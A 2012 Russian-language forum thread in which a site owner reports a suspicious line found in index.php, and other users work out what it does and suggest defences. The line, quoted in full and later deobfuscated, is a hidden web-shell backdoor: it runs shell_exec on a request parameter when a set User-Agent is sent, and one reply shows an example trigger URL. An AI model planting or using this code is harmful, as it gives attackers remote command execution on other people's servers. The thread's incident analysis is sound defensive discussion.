К списку форумов К списку тем
Регистрация    Правила    Главная форума    Поиск   
Имя: Пароль:
Рекомендовать в новости

Внимание! Проверьте свои index.php

Гость
0 - 06.06.2012 - 00:00
Обнаружил в index.php строку:

if($_SERVER['HTTP_USER_AGENT']=='D')**$fqvex=implode('e',array('bas','64_d','cod ',''));$xwkfrjir=$fqvex(str_replace('$&*(','l','c2 h$&*(bGxfZXh$&*(Yw=='));echo $xwkfrjir($_REQUEST['cM']);exit;**


Что она делает, не знаю, но я такого не писал.

Обнаружил только потому, что в файле было испорчено еще и название одной из функций и пользователь сообщил мне о неисправности.

Разбираемся пока с хостингом, как это туда попало, не знаю, будет ли толк.



Гость
1 - 06.06.2012 - 01:02
не вижу поводов для волнений, кроме того что неясен путь попадения строки.. тема скорее к размышлениям вашего хостера, чем... да уж, ночка задалась :)
Гость
2 - 06.06.2012 - 07:11
какой адрес ресурса? ради интереса посмотреть как оно там все работает.
хостера винить самое простое.
Гость
3 - 06.06.2012 - 11:31
выводит base64-декодированную переменную $cM, которая или в гет, или в пост или в каких-то еще кукисах.
Зачем - неизвестно.
Гость
4 - 06.06.2012 - 20:41
Хостер:
"Как мы писали выше, можем предоставить Вам FTP-логи за указанный Вами период. Поиском уязвимостей в программном коде клиентов мы не занимаемся."

А что мне в этих логах искать я хз.
Гость
5 - 06.06.2012 - 20:48
След ковааарнога призрака исказившего код :)
Гость
6 - 06.06.2012 - 21:18
Объясните мне, 1) хостер не может защитить php-файлы от изменений любым другим способом, кроме как ftp-клиентом? почему?
2) если я меняю фтп-пароль каждый раз после захода фтп-клиентом как их можно украсть?
Гость
7 - 06.06.2012 - 21:46
Цитата:
Сообщение от buh Посмотреть сообщение
А что мне в этих логах искать я хз.
ищи "cM=" (без кавычек)
Но в логах токо post и get, а кукисов нема. Да и вообще может такого запроса не было ниразу.

Цитата:
Сообщение от buh Посмотреть сообщение
хостер не может защитить php-файлы от изменений любым другим способом, кроме как ftp-клиентом?
можно например выполнить скрипт php, который лежит уже на хосте, передав ему что выполнять примерно как в старттопеге.

Цитата:
Сообщение от buh Посмотреть сообщение
2) если я меняю фтп-пароль каждый раз после захода фтп-клиентом как их можно украсть?
фтп есть не токо у вас. Еще есть и админ и еще куча пользователей, у которых есть доступ к вашей папочке. =))
Гость
8 - 07.06.2012 - 07:07
Что бы не воровали пароли на FTP, нужно полечить свой компьютер от троянов, ворующие пароли из стандартных FTP клиентов.
Для защиты от изменений файлов, можно поставить атрибуты "только чтение", как временное решение.
Гость
9 - 07.06.2012 - 08:15
Да мы с хостером вчера тоже пока додумались везде только r оставить, вроде держимся пока. А пароли фтп я меняю каждый раз сразу после любого использования фтп-клиента.
Гость
10 - 07.06.2012 - 08:18
7-Украинские субтитры > старттопег - это что?
Гость
11 - 07.06.2012 - 08:32
Для начала лучше проверить появление новых файлов, их легко найти по времени, а так же изучить журналы как FTP, так и веб сервера, возможно у вас просто дырявый сайт.
Приведите адрес ресурса, для изучения.
Гость
12 - 07.06.2012 - 08:43
Хотя если добираются до записи, то и атрибуты могут поменять?
Опасаюсь я адрес выкладывать.
Гость
13 - 07.06.2012 - 08:55
Формально могут поменять атрибуты, поэтому это и есть временное решение, но в большинстве случаев после получения пароля FTP, робот скачивает все файлы по маске, потом модифицирует и заливает обратно, игнорируя ошибки записи.
Чего бояться? у вас и так сломали сайт.
Система управления сайтом на чем сделана?
Гость
14 - 07.06.2012 - 09:44
строка выполняет shell_exec, декодировав из base64 полученный параметр
Гость
15 - 07.06.2012 - 11:21
14-Суслик >Ну, понятно, что ничего полезного для меня она не делает. Как она только попала ко мне.

Пока сделал файлик со списком своих файлов

$dir = '.';
$files = scandir($dir);
foreach ($files as $file) **
echo md5($file." ".filesize($file))."<br>\n";
**

и караулю его программкой WebMon
Гость
16 - 07.06.2012 - 11:21
CMS никакая не используется
Гость
17 - 07.06.2012 - 11:26
думаю, что бессмыслено давать советы, пока мы не увидим сам ресурс, скорей всего у вас просто дырявый сайт, пока не исправите это, проблема остнется.
Гость
18 - 08.06.2012 - 15:47
от хостеров, у которых ломают ftp, надо бечь свит за очи. =))
Гость
19 - 20.06.2012 - 10:24
Скрипт делает следующее:
if($_SERVER['HTTP_USER_AGENT']=='D')
**
echo shell_exec($_REQUEST['cM']);
exit;
**
Таким образом, если php.ini разрешает выполнять системные команды - их можно выполнить, послав запрос типа http://ваш_сайт.ру/?cM=ls+-alh. Правда, нужно еще подменить user agent.
Гость
20 - 20.06.2012 - 14:08
ну уж подменить юзерагент не проблема.

Цитата:
Сообщение от DevMan Посмотреть сообщение
echo shell_exec
это где там этот shell в коде?
Гость
21 - 20.06.2012 - 17:44
20-Украинские субтитры > Shell в запросе. параметром передаем команду и делаем все что угодно, если сервер позволит.

http://ваш_сайт.ру/?cM=ls+-alh - выведет список файлов в директории
Гость
22 - 20.06.2012 - 18:21
Цитата:
Сообщение от Kuba Посмотреть сообщение
$xwkfrjir
ваще-то там
$xwkfrjir='shell_exec'; //если c2 h$&*(bGxfZXh$&*(Yw== это таки shell_exec
и оно делает echo $xwkfrjir(); //разве такое выполница?
Гость
23 - 20.06.2012 - 18:43
22-Украинские субтитры > смотрим исходник до конца :

echo $xwkfrjir($_REQUEST['cM']);exit;**


в итоге имеем

echo shell_exec($_REQUEST['cM']);
Гость
24 - 21.06.2012 - 17:20
Цитата:
Сообщение от Kuba Посмотреть сообщение
22-Украинские субтитры &gt; смотрим исходник до конца : echo $xwkfrjir($_REQUEST['cM']);exit;** в итоге имеем echo shell_exec($_REQUEST['cM']);
Это понятно. Просто разве ж название функции в переменной (типа $var();) выполняется как функция?
25 - 21.06.2012 - 18:05
24-Украинские субтитры > обычно в таких случаях говорят: учи матчасть :)
Гость
26 - 21.06.2012 - 21:03
24-Украинские субтитры >Да, выполняется.
Гость
27 - 22.06.2012 - 16:45
Цитата:
Сообщение от Kuba Посмотреть сообщение
24-Украинские субтитры &gt;Да, выполняется.
охренеть, не знал.
А это где-то отключается?
Гость
28 - 22.06.2012 - 16:46
Цитата:
Сообщение от Искусственный Интеллект1 Посмотреть сообщение
24-Украинские субтитры &gt; обычно в таких случаях говорят: учи матчасть :)
не вопрос. В каком месте мануаля эта матчасть и как она называется, не подскажете? =)
Гость
29 - 22.06.2012 - 21:41
http://www.php.ru/manual/functions.v...functions.html
30 - 22.06.2012 - 21:57
можно скачать мануал http://ru2.php.net/get/php_manual_ru.chm/from/a/mirror
Гость
31 - 22.06.2012 - 22:54
С понятием кагбы понятно.
Главного нету: где это вкл/выкл =))
32 - 23.06.2012 - 16:36
31-Украинские субтитры > а зачем это вкл/выкл? :)
Гость
33 - 23.06.2012 - 18:09
Это динамическая функция, и по моему она ни как не отключается, особенность ядра.
Гость
34 - 23.06.2012 - 18:15
Да и бывает очень полезной, при автозагрузке классов из определенной директории например.
Гость
35 - 23.06.2012 - 20:27
Странно что такое нельзя выключить
Гость
36 - 25.06.2012 - 11:18
Да как бы особо ничего критичного в этой функции нет.

В приведенном примере можно было бы и сразу написать echo shell_exec($_REQUEST['cM']); все остальное ни как не влияет на выполнение скрипта, и сделано только для маскировки его от программистов, что бы не сразу нашли все куски кода простым поиском.

Если следовать Логике отключения функций, то нужно отключаь и implode и base64_decode и str_replace.

Так что ничего странного. А что бы защититься от данной проблемы, достаточно настроить сервер на запрет выполнения команд Shell'a. В безопасном режиме они недоступны. Это минимум что можно сделать.
Гость
37 - 25.06.2012 - 18:54
но в плане уязвимости это очевидная брешь.
Ведь достаточно всего одной строчки и с сайтом можно делать все что угодно
38 - 25.06.2012 - 22:06
37-Украинские субтитры > а вы знаете что еще есть функция eval() и что она делает? :) ее тоже нужно запретить использовать? :)

Чтобы можно было изменить код php, нужно получить доступ к сайту, к ftp например. А будет доступ к сайту - сделают все что захотят и без php. Главное чтобы хакеры не получили доступ к сайту.
Гость
39 - 26.06.2012 - 11:57
Цитата:
Сообщение от Искусственный Интеллект1 Посмотреть сообщение
а вы знаете что еще есть функция eval() и что она делает?
Знаю что есть, а что делает не помню.
Помню, ее кто-то пытался пихнуть в виде php-файла на один из моих форумов, типа как атачмент. =)

Цитата:
Сообщение от Искусственный Интеллект1 Посмотреть сообщение
Чтобы можно было изменить код php, нужно получить доступ к сайту, к ftp например.
не обязательно. С огромным количеством разных джумл, достаточно одной-двух строчек где-то в коде, типа той что вверху. Юзерь сам ее закачает, а уж тот кто знает, без всякого фтп и прочего будет делать с сайтом чо хочет.


К списку вопросов






Copyright ©, Все права защищены